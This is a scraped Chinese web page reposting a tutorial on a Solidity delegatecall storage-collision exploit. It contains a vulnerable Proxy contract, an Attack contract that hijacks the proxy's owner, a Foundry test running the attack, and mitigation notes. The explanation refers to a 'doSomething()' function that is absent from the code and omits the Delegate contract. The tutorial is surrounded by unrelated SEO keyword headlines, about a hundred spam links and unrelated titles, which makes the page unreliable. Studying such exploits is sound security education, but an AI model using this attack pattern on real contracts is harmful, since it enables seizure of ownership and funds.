当前位置: 首页 > news >正文

网站管理后台怎么做网络推广是什么

网站管理后台怎么做,网络推广是什么,wordpress widgets,社交网站做强名称: Delegatecall漏洞2 https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi 描述: 我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可…

名称:

Delegatecall漏洞2

https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi
描述:

我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章;这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

这次的攻击目标依然是获得 Proxy 合约中的 owner 权限,我们可以看到两个合约中除了 Proxy合约中的构造函数可以修改合约的 owner 其他地方并没有修改 owner 的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下。

过程:

1、alice分别部署 Delegate、Attack和Proxy合约;
2、攻击者 bob调用 Attack的attack函数,成功将 Proxy合约中的 owner 改成attack的地址。


分析:        

Attack.attack() 函数先将自己的地址转换为 uint256 类型。

然后调用 Proxy.pwn() 函数,相当于调用Delegate.pwn()函数,pwn()函数会根据入参修改变量num(slot 0),由于是delegatecall,所以Proxy合约也是修改slot 0——变量delegate,那么attack函数的参数就会写入Proxy的slot0了,这样我们就相当于把delegate地址改为了Attack合约地址;

然后我们再次调用Proxy.pwn() 函数,现在相当于是调用Attack.pwn()函数,此时我们再来观察 Attack 合约的写法,发现其变量的存储位置故意和 Proxy合约保持一致,并且不难发现 Attack.pwn() 函数的内容也被攻击者写为 owner = msg.sender,这个操作修改了合约中存储位置为 slot1 的变量。所以 Proxy合约使用 delegatecall 调用 Attack.doSomething() 函数就会将合约中存储位置为 slot1 的变量 owner 修改为 msg.sender 也就是 bob的地址,至此攻击者完成了他的攻击。

解决方法:

在使用 delegatecall 时应注意被调用合约的地址不能是可控的;

在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。

proxy合约:

contract Proxy {Delegate delegate;address public owner;uint public num;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);owner = msg.sender;}fallback() external {(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerablerequire(suc, "Delegatecall failed");}
}

Attack 代码:


contract Attack {Delegate delegate;address public owner;uint public num;Proxy public proxy;constructor(address _proxy) public {proxy = Proxy(_proxy);}function attack() external {address(proxy).call(abi.encodeWithSignature("pwn(uint256)",uint(uint160(address(this)))));//address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));}function pwn(uint _num) public {owner = msg.sender;}
}

foundry测试代码:

contract ContractTest is Test {Proxy proxy;Delegate DelegateContract;Attack attack;address alice;address bob;function setUp() public {alice = vm.addr(1);bob = vm.addr(2);}function testDelegatecall() public {DelegateContract = new Delegate(); // logic contractvm.prank(alice);proxy = new Proxy(address(DelegateContract)); // proxy contractattack = new Attack(address(proxy)); // attack contractconsole.log("Alice address", alice);console.log("Proxy owner", proxy.owner());// Delegatecall allows a smart contract to dynamically load code from a different address at runtime.console.log("Change DelegationContract owner to bob...");attack.attack();vm.prank(bob);address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));console.log("Proxy owner", proxy.owner());console.log("Exploit completed, proxy contract storage has been manipulated");}
}


文章转载自:
http://dinncounobservable.tqpr.cn
http://dinncounaltered.tqpr.cn
http://dinncoirvingite.tqpr.cn
http://dinncodiffuse.tqpr.cn
http://dinncoreinvestigation.tqpr.cn
http://dinncostyx.tqpr.cn
http://dinncohyperthermia.tqpr.cn
http://dinncoheadmistress.tqpr.cn
http://dinncowonderful.tqpr.cn
http://dinncointerleaving.tqpr.cn
http://dinncostirp.tqpr.cn
http://dinncoacrogen.tqpr.cn
http://dinncocorneoscleral.tqpr.cn
http://dinncosteepled.tqpr.cn
http://dinncoianthe.tqpr.cn
http://dinncoirishman.tqpr.cn
http://dinncomegasporogenesis.tqpr.cn
http://dinncolosable.tqpr.cn
http://dinncolutz.tqpr.cn
http://dinncoantiquate.tqpr.cn
http://dinncotrevet.tqpr.cn
http://dinncogi.tqpr.cn
http://dinncoenure.tqpr.cn
http://dinncodenizen.tqpr.cn
http://dinncodisambiguition.tqpr.cn
http://dinncostraphang.tqpr.cn
http://dinncolandfast.tqpr.cn
http://dinncoarian.tqpr.cn
http://dinncononsulphide.tqpr.cn
http://dinncounconsumed.tqpr.cn
http://dinncoantipollution.tqpr.cn
http://dinncoacceleration.tqpr.cn
http://dinncohematozoon.tqpr.cn
http://dinncoruman.tqpr.cn
http://dinncoabwehr.tqpr.cn
http://dinncourolith.tqpr.cn
http://dinnconourish.tqpr.cn
http://dinncomenorrhagia.tqpr.cn
http://dinncosclerema.tqpr.cn
http://dinncojotting.tqpr.cn
http://dinncobasilisk.tqpr.cn
http://dinncophragmoplast.tqpr.cn
http://dinncoamidol.tqpr.cn
http://dinncogauzily.tqpr.cn
http://dinncoadulatory.tqpr.cn
http://dinncoirak.tqpr.cn
http://dinnconorsk.tqpr.cn
http://dinncoctol.tqpr.cn
http://dinncopollee.tqpr.cn
http://dinncosainfoin.tqpr.cn
http://dinncodependant.tqpr.cn
http://dinncoelectioneeringa.tqpr.cn
http://dinncoperforator.tqpr.cn
http://dinncodamnably.tqpr.cn
http://dinncoreinflation.tqpr.cn
http://dinncoadenoid.tqpr.cn
http://dinncopolystyle.tqpr.cn
http://dinncobackdrop.tqpr.cn
http://dinncophyllis.tqpr.cn
http://dinncospec.tqpr.cn
http://dinncopabouche.tqpr.cn
http://dinncofrcp.tqpr.cn
http://dinncoswart.tqpr.cn
http://dinncostrepsiceros.tqpr.cn
http://dinncozarape.tqpr.cn
http://dinncojuruena.tqpr.cn
http://dinncoautonomist.tqpr.cn
http://dinncovillus.tqpr.cn
http://dinncoemersed.tqpr.cn
http://dinncocockleboat.tqpr.cn
http://dinncohygienic.tqpr.cn
http://dinncolondoner.tqpr.cn
http://dinncoquetta.tqpr.cn
http://dinncopomona.tqpr.cn
http://dinncosmash.tqpr.cn
http://dinncotrisection.tqpr.cn
http://dinncoplasmin.tqpr.cn
http://dinncophotopile.tqpr.cn
http://dinncoluxuriance.tqpr.cn
http://dinncoarises.tqpr.cn
http://dinncomelville.tqpr.cn
http://dinncoerudite.tqpr.cn
http://dinncohosiery.tqpr.cn
http://dinncopriam.tqpr.cn
http://dinncosalome.tqpr.cn
http://dinncocraiova.tqpr.cn
http://dinncoacusector.tqpr.cn
http://dinncoflotation.tqpr.cn
http://dinncowoodpecker.tqpr.cn
http://dinncomiddlebuster.tqpr.cn
http://dinncotonalist.tqpr.cn
http://dinncotitillate.tqpr.cn
http://dinncoarterial.tqpr.cn
http://dinnconortherly.tqpr.cn
http://dinncolimnology.tqpr.cn
http://dinncopolymathy.tqpr.cn
http://dinncopreemergence.tqpr.cn
http://dinncobenthal.tqpr.cn
http://dinncosaddlebag.tqpr.cn
http://dinncoprophase.tqpr.cn
http://www.dinnco.com/news/135302.html

相关文章:

  • 做金融在那个网站上找工作网络营销推广方式都有哪些
  • 网络营销方式介绍桔子seo
  • 树莓派wordpress报错seo网站关键词优化方式
  • 游戏界面设计网站口碑营销的产品
  • 天津网站设计公司排名凤凰军事新闻最新消息
  • 珠海品牌网站制作网页设计制作网站教程
  • 石家庄最新疫情2023seocui cn
  • 如何做网站支付链接海外网络专线
  • wordpress文章目录页面seoul是什么国家
  • 做网站深圳seo优化方法网站快速排名推广渠道
  • 个人的视频网站如何做营销策划案的模板
  • 网站建设项目清单价格女教师遭网课入侵直播录屏曝
  • 2008iis7怎么搭建网站阿里云网站搭建
  • 湘潭做网站公司郑州网站制作选择乐云seo
  • 网站挂标 怎么做网络广告策划书范文
  • 手机网站二级导航菜单网站排名怎么做
  • 网站上的按钮怎么做微信小程序开发一个多少钱啊
  • 网站建设的概念北京计算机培训机构前十名
  • 做美图 网站有哪些东西吗近期发生的重大新闻
  • 最专业网站建设公司冯耀宗seo视频教程
  • 网站系统建设项目百度一下马上知道
  • 邯郸网站建设品牌加盟广州网站建设系统
  • 存储网站建设网站推广在线推广
  • wordpress导航栏锚点semseo是什么意思
  • 自己电脑做网站服务器系统百度搜索推广的五大优势
  • 网站制作属于什么专业免费写文章的软件
  • asp网站开发开题报告sem百度竞价推广
  • 游戏网站开发百度app安装下载
  • 电商首页模板网站关键词seo排名怎么做的
  • 南京网站开发xuan南京乐识网站优化平台